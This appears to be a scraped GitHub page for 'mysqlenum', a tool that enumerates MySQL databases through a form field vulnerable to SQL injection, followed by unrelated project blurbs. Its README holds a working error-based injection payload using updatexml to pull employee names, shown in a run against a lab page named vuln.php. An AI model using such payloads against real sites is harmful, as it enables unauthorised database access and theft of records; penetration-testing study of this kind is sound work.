s-raza / mysqlenum Goto Github PK
View Code? Open in Web Editor NEWEnumerate details of a MySQL database through a form field that is vulnerable to SQL injection
Enumerate details of a MySQL database through a form field that is vulnerable to SQL injection
Below error is shown when trying to enumerate items from the same table that is involved in the SQL query in that back end that is vulnerable to SQL injection.
Select Column to enumerate [1-6]: 3
Number of rows to enumerate [Total: 300025, Enumerated: 0]: 3
Table selected: employees (300025 rows)
Column selected: first_name
Enumerating rows for employees.first_name
0%| | 0/3 [00:00<?, ?it/s]
Unexpected response received from host:
Error: list index out of range
URL: http://192.168.1.90/mysqlenum/vuln.php
Data sent: {'vulnfield': "1' and updatexml(1, concat(0x7e, (select first_name from employees limit 0,1)), 0) and '1"}
Response received: <br />
<b>Fatal error</b>: Uncaught PDOException: SQLSTATE[HY000]: General error: 1093 You can't specify target table 'employees' for update in FROM clause in /var/www/html2/public_html/mysqlenum/vuln.php:17
Stack trace:
#0 /var/www/html2/public_html/mysqlenum/vuln.php(17): PDO->exec('insert into emp...')
#1 {main}
thrown in <b>/var/www/html2/public_html/mysqlenum/vuln.php</b> on line <b>17</b><br />
0%| | 0/3 [00:00<?, ?it/s]
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.